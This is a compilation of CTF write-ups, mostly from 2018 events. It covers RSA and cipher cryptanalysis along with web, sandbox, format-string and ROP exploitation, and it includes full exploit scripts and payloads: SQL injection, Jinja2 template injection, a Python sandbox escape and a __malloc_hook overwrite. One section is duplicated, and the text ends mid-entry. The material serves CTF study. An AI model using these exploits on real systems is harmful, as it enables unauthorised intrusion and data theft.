```0x100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a9d11f4b6f5b4331ac1d207a3c618adaea44ed000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000176a7f4d50f6d91d860184d79edff9b7eca7872ef07383cf2852f1e780f32fc1``` This means few things: 1. There are most likely 2 numbers multiplied2. Both numbers generated from some common root with mostly 0 bits3. There is `0x1000001` multiplier involved, but we don't know exactly which number was multiplied by which part.4. The random difference between numbers on low bits has to be small, about 128 bits. We can again use Coppersmith method here, but since we don't know how the multiplier was split, we simply test all possiblities. ```pythonN = 32317007997554674385349615891817642773386605194812774888699399085196191794571384182422952167619837501795723538528931327159587983358628859504590723914892119478718126207089276060309706774425448653115310296039404328801754660372655218697443296169226536829110407154367147778475282279643613957212146771061477882859160052927335260673353787015976402719590523208336436450340211718238793469564080171762430651352930734689263596836122378167570929701725793689221407150157994038959493338968844604240687047300165564661354163479888199791831857521168174860532936751952480913605385678113510666108924260168617210436143153585499118186433e = 65537c = 3276317031877048034921689870842067102082984132116094274739382394942015587590724787158982350802646840240494972561882263073240227808400607161162982258260014527796718342988907758893432031368754237249396935435825620816173572853468606403492532489569016730369554744690415453811865812653908391295808987211722639212793730193965857595902086835233937795612266373947212176592539984179545181633416734531184100728289921617009799700655919616113513377725551467929505260502666912513988565860061157100733206213776142272254528206526835704772005607585391210115528195828817631620260680401489038612476650344781706860508085522520661975350hidden = 256tmp = isqrt((N)/(0x1000001))for mult in [1, 97, 65281, 257, 172961, 24929, 16777217, 673]: q_approx = mult * tmp + 2**128 F.<x> = PolynomialRing(Zmod(N), implementation='NTL') f = x - q_approx roots = f.small_roots(X=2**hidden, beta=0.5) for delta in roots: q = q_approx-delta if is_prime(q): print(q) p = gcd(N,q) q = int(N)/int(p) print(p) phi = (p-1)*(q-1) d = inverse_mod(int(e), int(phi)) print('d', d) decrypted = hex(int(pow(c,d,N))) print('flag =', decrypted[2:-1].decode("hex"))``` From this we get `_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_` ## Part1 This part was for us the hardest, because nothing was known.The modulus looked `normal` and there was no indication what could we do. Later we learned that primes were close and it could be factored using fermat, which we actually even have in crypto-commons: ```pythonfrom crypto_commons.generic import fermat_factorsn1 = 12263815858436391339801252716055343215721551207190585812808883921492616938019767754888047221243921529199781329682187336097470283133260860905444173937906698593993435816362355791049334301256672146334457160396157422171213155186704409015520723701624704179794619860512757194475928285433621469983215042163268337482613981138412642113164161985610041212644438310461087934752877418645890869616237437302541973412868157911349542527624597832254480191497600938121405413426358837072839977429474448232347107365820912432960433009928432513624193587173708951345864949412064817411473475077328080824358689398099979260395549956349458200199p1, q1 = fermat_factors(n1)print(p1,q1)``` But we didn't realise that, and primefac or RsaTool didn't find the factorization.A desperate move from our side was to brute-force the flag.The idea was that part2 and part3 were not very imaginative: `_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_sch0Olllllllllllllllllllll!!!!}` and the task name was `Old School`, so we guessed that probably the first part of the flag will be some kind of `ooollllddd`. So: ```pythonn = 12263815858436391339801252716055343215721551207190585812808883921492616938019767754888047221243921529199781329682187336097470283133260860905444173937906698593993435816362355791049334301256672146334457160396157422171213155186704409015520723701624704179794619860512757194475928285433621469983215042163268337482613981138412642113164161985610041212644438310461087934752877418645890869616237437302541973412868157911349542527624597832254480191497600938121405413426358837072839977429474448232347107365820912432960433009928432513624193587173708951345864949412064817411473475077328080824358689398099979260395549956349458200199 c = 10768566524581730417282966534533772232170128646105592645274840624344800039953305762328123247486367933169410426551021676301441508080687130308882531249672782247453418751384028303096785698132140306753136583313099836328879191020815311025909775009768461235238724055399564994913948731120265357427622567179898229336239135361607806956357971819975387160453721508112358768552880424521729959498368682405606641964356553284372394601190105374421489502575623037672340535664494377154727704978673190317341737416683547852588813171964475428949505648909852833637140722157843587170747890226852432960545241872169453977768278393240010335066 msg = 'MeePwnCTF{' for i in range(0, 32): for ii in range(0, 32): for j in range(0, 32): for k in range(0, 32): msg = 'MeePwnCTF{' + '0' * i + 'O' * ii + 'l' * j + 'd' * k if len(msg) > 32: continue x = pow(int(msg.encode('hex'), 16), 65537, n) if x == c: print '!!!!', msg break``` And to our amazement, it actually found the flag part: `MeePwnCTF{0ldddddddddddddddddd` So finally the flag was `MeePwnCTF{0ldddddddddddddddddd_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa_sch0Olllllllllllllllllllll!!!!}`
**WEB Challenge : Ess Kyoo Ell**![](https://s33.postimg.cc/84vft30bj/pic1.png) **The Callenge Want The admin ip address tjctf{[ip]} .First I open the Link ** ![](https://s33.postimg.cc/ndld7erl7/pic2.png) **i see a login form , just put anything and intercept it in** **Brupsuite** ![](https://preview.ibb.co/kwr9vp/pic3.png) ### Just like We See There is No Column Name Password :( , i Tried Some SQL Injection on it **### But Nothing happen .. a Few Minute Later With Some Union Statement Just Return Some uesful Error ### And I Know Its Sqlite DB** ![](https://preview.ibb.co/iXmngU/pic4.png) ### From This Error We Know The Column , Know Let us Try To Get Table Name ### ![](https://preview.ibb.co/n3opvp/pic5.png) ### The Table Name : **users**### ### Last Query I Send >> ** ' UNION SELECT username,2,3,4,5,6,ip_address FROM users WHERE username LIKE "admin"** And We Get This ![](https://preview.ibb.co/hoJxFp/pic6.png) ## **FLAG** Is : tjctf{[145.3.1.213]}## ## Team %00Byte - **Zero**
In `WhiteHat Grand Prix 2018 Quals - pwn02 (BookStore)` challenge, there is a `null byte poisoning` aka `off-by-one overflow` aka `null byte overflow` vulnerability. Using this vulnerability, we can create the `overlapping chunks` situation (by zeroing out PREV_INUSE bit), which enables us to leak libc addresses and overwrite a sensitive function pointer with `system` address (spawn `/bin/sh`). This is a good example of `Heap Exploitation` challenge to understand how to exploit `x64_86` binaries with `Canary`, `Full RELRO`, `FORTIFY`, `NX`, and `ASLR` enabled in presence of `tcache` in `glibc-2.27`.
1. Recover `n` as `gcd(m^e - encrypt(m))` for several small `m`.2. Decrypt AES key using last byte provided by `decrypt` command.3. Recover state of python's PRNG by collecting multiple IV from `encrypt` command.4. Decrypt the flag using AES key and predicted IV. Sage script: [https://gist.github.com/neex/27c272fdfb466db98db67e84ef093926](http://gist.github.com/neex/27c272fdfb466db98db67e84ef093926)
## Shrine Source code `app.py`: ```pythonimport flaskimport os app = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/')def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>')def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)``` Although `config` and `self` are unset, `request` is still available. I believed that `app.config` may be somewhere.. To search for it, I wrote a function to traverse over child attributes of `request` recursively: ```python# search.py def search(obj, max_depth): visited_clss = [] visited_objs = [] def visit(obj, path='obj', depth=0): yield path, obj if depth == max_depth: return elif isinstance(obj, (int, float, bool, str, bytes)): return elif isinstance(obj, type): if obj in visited_clss: return visited_clss.append(obj) print(obj) else: if obj in visited_objs: return visited_objs.append(obj) # attributes for name in dir(obj): if name.startswith('__') and name.endswith('__'): if name not in ('__globals__', '__class__', '__self__', '__weakref__', '__objclass__', '__module__'): continue attr = getattr(obj, name) yield from visit(attr, '{}.{}'.format(path, name), depth + 1) # dict values if hasattr(obj, 'items') and callable(obj.items): try: for k, v in obj.items(): yield from visit(v, '{}[{}]'.format(path, repr(k)), depth) except: pass # items elif isinstance(obj, (set, list, tuple, frozenset)): for i, v in enumerate(obj): yield from visit(v, '{}[{}]'.format(path, repr(i)), depth) yield from visit(obj)``` Modified `app.py`: ```pythonimport flaskimport os from flask import requestfrom search import search app = flask.Flask(__name__)app.config['FLAG'] = 'TWCTF_FLAG' @app.route('/')def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>')def shrine(shrine): for path, obj in search(request, 10): if str(obj) == app.config['FLAG']: return path if __name__ == '__main__': app.run(debug=True) ``` ```shell$ python3 app.py & $ curl 0:5000/shrine/123obj.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG'] $ curl -g "http://shrine.chal.ctf.westerns.tokyo/shrine/{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}"TWCTF{pray_f0r_sacred_jinja2}```
## Tokyo Western CTF 2018 (Qualification Round) Hints for some Crypto challenges- Time: _September 1-2, 2018_- Place: _Online_- Website: _<https://score.ctf.westerns.tokyo/>_ ### scs7 (_112 pt, 134 solves_) Base59 (each symbol in a ciphertext represents a number in the range 0-58). Challenge file: None (black box) ### Revolutional Secure Angou (_154 pt, 82 solves_) `e*q = 1 (mod p)` implies that `e*q = k*p + 1` (1). Since `q < p`, we know that `k < e = 65537`. So, just brute-force `k` until we find a solution to the equation `e*n = k * p^2 + p` (2). Notice that (2) is (1) with both side multiplied by `p`. Challenge file: [revolutional-secure-angou.7z](revolutional-secure-angou.7z). ### mixed cipher (_233 pt, 39 solves_) You need to:- Look for some multiples of the modulus `n`, then calculate the GCD to get `n`.- Learn how to decrypt arbitrary ciphertexts, given an RSA LSB(s) oracle, to get the AES key.- Learn how to untwist the Mersenne Twister (the `random` module's core PRNG) to predict the IV used to encrypt the flag. Challenge file: [mixed_cipher.rar](mixed_cipher.rar).
## Tokyo Western CTF 2018 (Qualification Round) Hints for some Crypto challenges- Time: _September 1-2, 2018_- Place: _Online_- Website: _<https://score.ctf.westerns.tokyo/>_ ### scs7 (_112 pt, 134 solves_) Base59 (each symbol in a ciphertext represents a number in the range 0-58). Challenge file: None (black box) ### Revolutional Secure Angou (_154 pt, 82 solves_) `e*q = 1 (mod p)` implies that `e*q = k*p + 1` (1). Since `q < p`, we know that `k < e = 65537`. So, just brute-force `k` until we find a solution to the equation `e*n = k * p^2 + p` (2). Notice that (2) is (1) with both side multiplied by `p`. Challenge file: [revolutional-secure-angou.7z](revolutional-secure-angou.7z). ### mixed cipher (_233 pt, 39 solves_) You need to:- Look for some multiples of the modulus `n`, then calculate the GCD to get `n`.- Learn how to decrypt arbitrary ciphertexts, given an RSA LSB(s) oracle, to get the AES key.- Learn how to untwist the Mersenne Twister (the `random` module's core PRNG) to predict the IV used to encrypt the flag. Challenge file: [mixed_cipher.rar](mixed_cipher.rar).
According to the diff, we know `:`, `g` and `Q` are removed from patched vim.However, man still work in vimtype `K` on `diff` keyword to enter man mode.type `!` for command mode in man```!ls /bin boot dev etc flag go home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var vim vimshell.patch------------------------!cat /flagTWCTF{the_man_with_the_vim}```
## pysandbox The sandbox checks the ast tree recursively, but there are something it won't check, for example: ```pythonimport ast b = ast.parse('[0][0]').body # [<_ast.Expr at 0x10b636780>]b = b[0].value # <_ast.Subscript at 0x10b63ce10>b.slice # <_ast.Index at 0x10b63cbe0>``` You may notice that `slice` is not in the blacklist, let's place some code there. ```shell$ nc pwn1.chal.ctf.westerns.tokyo 30001[0][eval('__import__("os").system("ls")') and 0]flagrun.shsandbox.py0 $ nc pwn1.chal.ctf.westerns.tokyo 30001[0][eval('__import__("os").system("cat flag")') and 0]TWCTF{go_to_next_challenge_running_on_port_30002}0```
using ```globals().item()```we have things we need. ![](http://raw.githubusercontent.com/nghiadt1098/ctfs-wu/master/ISDTUCTF/1.png) After that. We can see the ` __file__` is the path to the source file. Now just read that file.```open(__file__).read()``` ![](http://raw.githubusercontent.com/nghiadt1098/ctfs-wu/master/ISDTUCTF/2.png) The rest are easy.Just xor the secret with the key.```secret = "392a3d3c2b3a22125d58595733031c0c070a043a071a37081d300b1d1f0b09"secret = secret.decode("hex")key = "pythonwillhelpyouopenthedoor"``` ` FLAG: ISITDTU{1412_secret_in_my_door}`
https://www.reddit.com/r/securityCTF/comments/96x0hk/tjctf_2018_binary_exploitation_guide/ https://medium.com/@mihailferaru2000/tjctf-2018-full-binary-exploitation-walk-through-a72a9870564e
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010
# Revolutional Secure Angou ## TaskThis task had us receive a 3 files: a key.pem, an ecrypted flag and a ruby script. We can quickly see that this is avery crude RSA implementation using Ruby SSL' BigNum. Extracting the key gives us ```e = 65537```and a 2048-bit modulus. I quickly tried a few basic things (factordb, ROCA vuln, fermat) and relatively soon realized all this being secure, it had to be some prime-generation weakness. ## The Weakness Taking a closer look at the ruby script: ```rubyrequire 'openssl' e = 65537while true p = OpenSSL::BN.generate_prime(1024, false) q = OpenSSL::BN.new(e).mod_inverse(p) next unless q.prime? key = OpenSSL::PKey::RSA.new key.set_key(p.to_i * q.to_i, e, nil) File.write('publickey.pem', key.to_pem) File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag'))) breakend``` We see that while p is generated randomly, q is generated based on p. More exactly, q is generated so that ```q * e % p == 1```. THis is as fishy as it gets, you should never, under any circumstance, generate primes that way. ## The Solving From here on it's a walk in the park. Using a bit of modular arithmetic:```q * e % p = 1(q*e) - 1 = p*jp = ((q*e)-1)/j```where j is an integer and j < e. Now since ```n = p * q```:```n = ((q*e)-1)/j * qn*j = e*q^2 - qe*q^2 - q - n*j = 0```The last is just a simple quadratic equation. All we need to do now is to solve it for 0 < j < 65537, check if the solution is prime, and check if the solution is a divisor of n. On a decent i7 using sympy it takes around 10 seconds / 1000 (7000 if you parallelize), whic makes bruteforcing a very convenient way of solving this.
The flag is hidden using an algorithm, for JPEG steganography, called JSteg. Using any available implementation of the algorithm for extracting the flag will give another file and post that the question will become one of simple audio steganography.
We're given a short Ruby code used to encrypt the flag, the public key and the encrypted flag.```require 'openssl' e = 65537while true p = OpenSSL::BN.generate_prime(1024, false) q = OpenSSL::BN.new(e).mod_inverse(p) next unless q.prime? key = OpenSSL::PKey::RSA.new key.set_key(p.to_i * q.to_i, e, nil) File.write('publickey.pem', key.to_pem) File.binwrite('flag.encrypted', key.public_encrypt(File.binread('flag'))) breakend```Reading the code we immediately notice that the problem is in the key generation: we have $q \equiv e^{-1} \pmod{p}$. From this equation we can write $qe=1+kp$ for some $k \in \mathbb{Z}$ and then $kp^2+p-ne=0$. So we have to find such $k$; rewriting $k = \frac{qe-1}{p}\sim\frac{q}{p}e$ we can see that $k\in \[\min{\frac{q}{p}e-1},\max{\frac{q}{p}e}\]$. Because $q\in \mathbb{Z_p}$ we have $\frac{q}{p}< 1$ and running `openssl rsa -pubin -in publickey.pem -text -noout` we can see $n\sim 2048$ bits, so because $p\sim 1024$ bits also $q\sim 1024$ bits and $\frac{q}{p}\geq \frac{1}{2}$. Now we only have to check the values of $k$ from $\frac{1}{2}e-1$ to $e$ and then decrypt the flag (in less than 3 seconds with the following script). ```import gmpy2from Crypto.PublicKey import RSA e = 65537Ln = 16809924442712290290403972268146404729136337398387543585587922385691232205208904952456166894756423463681417301476531768597525526095592145907599331332888256802856883222089636138597763209373618772218321592840374842334044137335907260797472710869521753591357268215122104298868917562185292900513866206744431640042086483729385911318269030906569639399362889194207326479627835332258695805485714124959985930862377523511276514446771151440627624648692470758438999548140726103882523526460632932758848850419784646449190855119546581907152400013892131830430363417922752725911748860326944837167427691071306540321213837143845664837111Lp = 0 for k in range(int(e/2),e): delta = 1+4*k*n*e if gmpy2.is_square(delta): y = gmpy2.isqrt(delta) if (y-1)%(2*k) == 0: p1 = (y-1)/(2*k) if n%p1 == 0: print("Found!") p = p1 break q = n/pphi = (p-1)*(q-1)d = gmpy2.invert(e,phi)key = RSA.construct((n,e,long(d)))data = open('revolutional-secure-angou/flag.encrypted', 'r').read()print(key.decrypt(data))```
# Spiritual Box ## Problem Statement>Donate exactly "69 Wei" in this "Spiritual Box", and Venus would shine upon you. ["Spiritual Box" aka contract page](http://34.216.132.109:8082/) Finally, submit your contract address at nc 34.216.132.109 9091 to get the flag. >**Output Format** >CodefestCTF{flag} **Contract Code**(The Spiritual/Donation Box) of problem statement.```1. pragma solidity ^0.4.6;2.3. contract Donationbox {4.5. uint private prev;6. uint private temp;7.8. constructor() public {9. prev = now;10. }11.12. function donate() public payable{13. temp = now;14. require(temp - prev > 500 && msg.value <= 5 && msg.value > 0);15. prev = temp;16. }17.18. function () public payable{19. revert();20. }21. }```## Solution From given contract code, we can only use donate function every 500 seconds (now in solidity is alias for block.timestamp) and the donation amount should be <= 5, which would have take a lot of time and effort if the total donation amount is large. Moreover donate is the only fucntion that can accept Ether since the **fallback** function [line #18] always reverts(rejects) payments. There is a concept in solidity called **selfdestruct(also suicide)** [docs-link](https://solidity.readthedocs.io/en/v0.4.21/units-and-global-variables.html#contract-related). So when a contract commits suicide(destroys itself, freeing up the space on blockchain), it forces it's balance to the address specified in function **selfdestruct(address)**, none of the function of the contract, in which the Ether is forced into, is called. Hence, even the fallback payable function is not able to reject Ether. **To solve this challenge*** Create a new instance from the button privided in the challenge page. * Open a new tab and enter [https://remix.ethereum.org](https://remix.ethereum.org), an online Solidity IDE.* Write a new contract in the IDE which will commit suicide, and deploy it on the same network as that of Spiritual Box. ```pragma solidity ^0.4.6; contract KillMe { function selfDestruct() public { selfdestruct(0x9561C133DD8580860B6b7E504bC5Aa500f0f06a7); } function() payable public { } }```Where "0x9561C133DD8580860B6b7E504bC5Aa500f0f06a7" is the address of the deployed Spiritual/Donation Box Contract.* Send some Ether into **KillMe** contract from any Ethereum Wallet Account via web3 injected by Metamask, in the browser console. ```web3.eth.sendTransaction({from:web3.eth.defaultAccount ,to:'0x5b1869d9a4c187f2eaa108f3062412ecf0526b24', value:69}, (err,res)=>{console.log(err,res);})```Where "0x5b1869d9a4c187f2eaa108f3062412ecf0526b24" is the address of **KillMe** contract. * After having sent 69 Wei to KillMe contract, call its **selfDestruct** function to commit suicide and finally force its balance to the Spiritual Box address. ![KillMe](https://github.com/ketankr9/CodefestCTF18/blob/master/writeups/static/killmeDeploy.png) * Now submit address "0x9561C133DD8580860B6b7E504bC5Aa500f0f06a7" at ```nc 34.216.132.109 9091``` to get the flag.
# Đây là một challenge misc khá thú vị. File ở đây [source](mondai-77791222cdec2fe04bc20eafdb3b330c284d59e35046811c84b47d074e068906.zip) ## Bước 1 File `capture.pcapng`, `mondai.zip` được nén zip có đặt password là tên của file zip đấy: `y0k0s0` ![step 1](resources/step_1.PNG) ## Bước 2 Mở file `capture.pcapng` bằng wireshark, bao gồm 23 gói tin `ICMP`. ![step 2](resources/step_2.PNG) Độ dài của trường `data` trong mỗi gói ICMP là 1 kí tự ascii. Có thể quan sát gói tin được ping đến địa chỉ ip 192.168.11.5 không bị lỗi và chỉ cần lọc gói echo-request để lấy độ đài dữ liệu: ```from scapy.all import sniff pcap = sniff(offline='capture.pcapng') for packet in pcap: # Ping to 192.168.11.5 not error # Type of ICMP message: ## 0: icmp echo-reply ## 8: icmp echo-request ## 11: icmp time exceeded if packet['IP'].dst=='192.168.11.5' and packet['ICMP'].type == 8: print(chr(len(packet.load)), end='') # We1come``` ## Bước 3 Có thể đoán password là 1 dòng trong 1000 dòng trong file list.txt ![step 3](resources/step_3.PNG) ```from zipfile import ZipFile filepwd = open('list.txt', 'r') for passwd in filepwd: with ZipFile('mondai.zip') as zf: try: zf.extractall(pwd=passwd.strip().encode()) print(passwd.strip().encode()) except Exception as e: pass# eVjbtTpvkU``` ## Bước 4 `1c9ed78bab3f2d33140cbce7ea223894` là file có được sau khi giải nén. Sử dụng lệnh `file` để xác định định dạng của file. ![file command](resources/step_4.PNG) Chuỗi `1c9ed78bab3f2d33140cbce7ea223894` có độ dài là 32 byte, có thể phỏng đoán là md5. Giải mã trên https://www.hashkiller.co.uk/md5-decrypter.aspx ra được kết quả `happyhappyhappy` ## Bước 5 Gợi ý là `password is too short` từ file README.txt. Từ đó mình có ý tưởng là bruteforce mật khẩu. Có thể dùng code python để thực hiện, code tại đây: https://github.com/mnismt/CompressedCrack ```$ python crack.py -i ~/tmp/mondai.zip> tm> tn> to> Complete> ('Time:', 0.356849, 's')> ('Password:', 'to')``` ## Kết luận ```Congratulation!You got my secret! Please replace as follows:(1) = first password(2) = second password(3) = third password... TWCTF{(2)_(5)_(1)_(4)_(3)}``` Flag là sự kết hợp của 5 mật khẩu ở trên. `TWCTF{We1come_to_y0k0s0_happyhappyhappy_eVjbtTpvkU}`
Flag: `TWCTF{You_understand_FILE_structure_well!1!1}` :P```from pwn import *import threadingimport signal THREADS = 20LOCAL = False STOP = FalseCOUNTER = 0 def worker(): global LOCAL, STOP, COUNTER while True: if STOP: break if LOCAL: s = process('./neighbor', env = {"LD_PRELOAD": "./libc.so.6"}, stderr = open('/dev/null', 'w+'), level = 'error') else: s = remote('neighbor.chal.ctf.westerns.tokyo', 37565, level = 'error') COUNTER += 1 log.info('Attempt #{}...'.format(COUNTER)) # Hello neighbor! s.recvline() # Please tell me about yourself. I must talk about you to our mayor. s.recvline() # assuming stack layout at fprintf call is like this: # gdb-peda$ x/20gx $rsp # 0x7fffffffed30: 0x00007ffff7dd2520 0x00007ffff7dd2520 # %5, %6 # 0x7fffffffed40: 0x00007fffffffed60 0x00007ffff7dd2520 # %7, %8 # 0x7fffffffed50: 0x00007fffffffed60 0x0000555555554962 # %9, %10 # 0x7fffffffed60: 0x00007fffffffed70 0x00005555555549d7 # %11, %12 # 0x7fffffffed70: 0x00005555555549f0 0x00007ffff7a303f1 # %13, %14 # 0x7fffffffed80: 0x0000000000040000 0x00007fffffffee58 # %15, %16 # 0x7fffffffed90: 0x00000001f7b9a508 0x0000555555554965 # %17, %18 # 0x7fffffffeda0: 0x0000000000000000 0x69876215140821cc # %19, %20 # ... # %9 points to %11 # %5, %6, %8 all point to _IO_2_1_stderr_ # %8 = rbp-0x8 = first argument to fprintf try: s.sendline('%{}c%9$hhn'.format(0x38)) # make %11 point to %6 s.sendline('%{}c%11$hhn'.format(0x90)) # make %6 point to _IO_2_1_stderr_->fileno s.sendline('%{}c%6$hhn'.format(0x1)) # overwrite _IO_2_1_stderr_->fileno with 1 if s.recv(timeout=4): if STOP: break STOP = True log.success('got output!') s.sendline('%13$lu.%14$lu.%8$lu') binary_base, libc_base, malloc_hook = map(int, s.recvline().strip().split('.')) binary_base -= 0x9f0 libc_base -= 0x203f1 malloc_hook -= 0xa30 one_shot = libc_base + 0x4557a log.success('binary @ ' + hex(binary_base)) log.success('libc @ ' + hex(libc_base)) log.success('__malloc_hook @ ' + hex(malloc_hook)) log.success('one_shot @ ' + hex(one_shot)) log.info('putting __malloc_hook address on stack ...') # make %11 point to %19 s.sendline('%{}c%9$hhn'.format(0xa0)) s.recvline() s.sendline('%{}c%11$hn'.format(malloc_hook & 0xffff)) s.recvline() s.sendline('%{}c%9$hhn'.format(0xa0 + 2)) s.recvline() s.sendline('%{}c%11$hn'.format((malloc_hook >> 16) & 0xffff)) s.recvline() s.sendline('%{}c%9$hhn'.format(0xa0 + 4)) s.recvline() s.sendline('%{}c%11$hn'.format((malloc_hook >> 32) & 0xffff)) s.recvline() # make %11 point to %19 s.sendline('%{}c%9$hhn'.format(0xa0)) s.recvline() # __malloc_hook address is now at %19 log.info('writing one_shot gadget to __malloc_hook ...') s.sendline('%{}c%19$hn'.format(one_shot & 0xffff)) s.recvline() s.sendline('%{}c%11$hn'.format((malloc_hook + 2) & 0xffff)) s.recvline() s.sendline('%{}c%19$hn'.format((one_shot >> 16) & 0xffff)) s.recvline() # trigger call to __malloc_hook log.info('triggering __malloc_hook ...') s.sendline('%66000c') log.success('pwned!') s.interactive() s.close() except EOFError: continuetry: for w in range(THREADS): t = threading.Thread(target=worker) t.daemon = True t.start() signal.pause()except (KeyboardInterrupt, SystemExit): log.info('received keyboard interrupt, quitting threads.')```
# TokyoWesterns 2018 : mixed-cipher **category** : crypto **points** : 233 **solves** : 39 ## write-up ( English version ) This challenge has both AES and RSA encryption involve `decrypt` function is obviously a RSA oracle, which can give us the last byte of decrypted message Use RSA LSB oracle attack to decrypt the RSA encrypted AES key given by `print_key` But `print_flag` does not give us IV, we can't find the top 16 bytes of the flag For now, we only have `ti#n_ora#le_c9630b129769330c9498858830f306d9}` `iv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16)` iv in `aes_encrypt` is generated by `random.getrandbits` In python2, `random.getrandbits` is implemented using mersenne-twister, which is not cryptographically secure pseudorandom number generator Use https://github.com/kmyk/mersenne-twister-predictor this repo to predict the iv `TWCTF{L#B_de#r#pti#n_ora#le_c9630b129769330c9498858830f306d9}` ## write-up ( 中文版 ) 這題有 AES 又有 RSA `decrypt` 這個函式很明顯的是一個 RSA oracle 可以幫我們解密並給我們最後一個 byte 所以我們就直接作 RSA LSB oracle attack 找回 `print_key` 的 AES key 但是 `print_flag` 給的 AES encrypted flag 沒有給 IV 沒辦法解回 flag 的前 16 bytes 目前只有 `ti#n_ora#le_c9630b129769330c9498858830f306d9}` `iv = long_to_bytes(random.getrandbits(BLOCK_SIZE*8), 16)` 不過他的 IV 是用 `random.getrandbits` 產生的 在 python2 `random.getrandbits` 內部是用 mersenne-twister 實作的 mersenne-twister 並不是 cryptographically secure pseudorandom number generator 直接用 https://github.com/kmyk/mersenne-twister-predictor 這個就可以預測出 IV `TWCTF{L#B_de#r#pti#n_ora#le_c9630b129769330c9498858830f306d9}` # other write-ups and resources
```import random from pwn import * def u(user,c): count = 0 count_ = c # this can be from 0-1000 and just generated once generator = "xorshift" random.seed(generator) for ch in user: ra = random.randint(1, ord(ch)) rb = (ord(ch) * random.randint(1, len(user))) ^ random.randint(1, ord(ch)) count += (ra + rb)/2 code = 1 for i in range(1,count+count_): code = (code + random.randint(1, i) ) % 1000000 final = random.randint(1,9) * 1000000 + code return final r = remote('34.216.132.109','9094')r.sendline("zeroMe") for i in range(1000): t = u("zeroMe",i) r.sendline(str(t)) r.interactive()```
## First glance The vulnabality in this challenge is really strightforward, it's a buffer overflow and can be used to construct ROP chain. ## Start to solve We can read a file into stack and then use to construct ROP chain, but the file must contain data we know or we are able to control it. The first thing come to my mind is the binary itself, but since we can't adjust the data it's hard to use. After a while, another team member found that `/proc/self/fd/0` would be perfect to use in this case because we have fully control over the input, so I start to build ROP chain. But after I realize that before my ROP chain get executed, all input/output fd will be closed,and it means that I can't get any information by executing some function like puts(). So depressed. I start to do some test on local, and found that even I closed fd 0 1 2, the connection won't break, so I came up with a idea: "Why don't we just build a ROP that can compare some byte of flag with our input, then hold or release the connection?", there's open(), lseek(), read(), and strchr() used for comparation and I've found some gadget to control rdi,rsi,rdx. I may not able to move open()'s return to rdi for lseek(), but since open() will always return the lowest not used fd number, in this case it will always be `0`. It sounds feasible. ## A lucky guess After I finished exploit script, I was scared to find that ./flag on remote is NOT EXIST..... I tried to read `/proc/self/cmdline` to find some hint but found that files in `/proc` won't be able to lseek because their file length is -1. Stucked. Fortunately until 3 hours before ctf ends, one teammate guessed `./flag.txt` and got it right(!) then we start to guess flag byte-by-byte and finally leak the flag :) ## Exploit ```python#!/usr/bin/env pythonfrom pwn import *import string context.arch = 'amd64'#context.log_level = 'DEBUG'r = remote('pwn1.chal.ctf.westerns.tokyo', 34835)#r = remote('localhost', 4000) # 0x0000000000400a51 : mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword ptr [r12 + rbx*8]ctrl_edx = 0x400a51pop_12_13_14_15 = 0x400a6cpop_rsi_r15 = 0x400a71pop_rdi = 0x400a73readfile = 0x400940open_plt = 0x400710read_plt = 0x4006e8strchr_plt = 0x4006d0atoi_plt = 0x400718lseek_plt = 0x4006d8ret = 0x4006a9pop_rbp = 0x400780buf = 0x601e00leave = 0x4008a7 # build a rop that if guessed wrong, program will trap into infinite looppayload = flat( 0x40076a, 0, # rbp = 0 pop_rdi, 0x601058, # rdi = jmp_rax atoi_plt, # rax = jmp_rax 0x400775) rop1_1 = flat( 1, # open pop_rdi, 0x601060, pop_rsi_r15, 0, 0, open_plt, # lseek pop_rbp, 0, pop_12_13_14_15, 0x601050, 0, 0, 0, ctrl_edx, pop_rdi, 0, pop_rsi_r15,) # first arg rop1_2 = flat( 0, lseek_plt, # read pop_rbp, 1, pop_12_13_14_15, 0x601050, 0, 0, 0, ctrl_edx, pop_rdi, 0, pop_rsi_r15, buf, 0, read_plt, # strchr pop_rdi, buf, pop_rsi_r15,) # second arg rop1_3 = flat( 0, strchr_plt) # try to open flag.txt and IT WORKS# guess by strchr byte-by-byte, if guessed worng socket will hang, otherwise it will get EOF# if someone know how to make this procedure automated please leave message below, thanks :)byten = 0ch = 'a'r.sendafter('name: ', '/dev/fd/0\0'.ljust(0x10, 'A')+p64(pop_rbp)+'4196213\0'+'./flag.txt\0\n'.ljust(0x18,'A'))r.sendlineafter('offset: ', '0')r.sendlineafter('size: ', '1000')r.send('A'*0x30+rop1_1+p64(byten)+rop1_2+p64(ord(ch))+rop1_3+payload)r.interactive()```
Challenge: Ron, Adi and Leonard ----------------------------------------Category: Cryptography ----------------------------------------100 points ----------------------------------------Description: You think you have me figured out don't you!?---------------------------------------- Comments: easy and quick!!!!---------------------------------------- ``` File: rsa.txt rsa.txt:n = 744818955050534464823866087257532356968231824820271085207879949998948199709147121321290553099733152323288251591199926821010868081248668951049658913424473469563234265317502534369961636698778949885321284313747952124526309774208636874553139856631170172521493735303157992414728027248540362231668996541750186125327789044965306612074232604373780686285181122911537441192943073310204209086616936360770367059427862743272542535703406418700365566693954029683680217414854103 e = 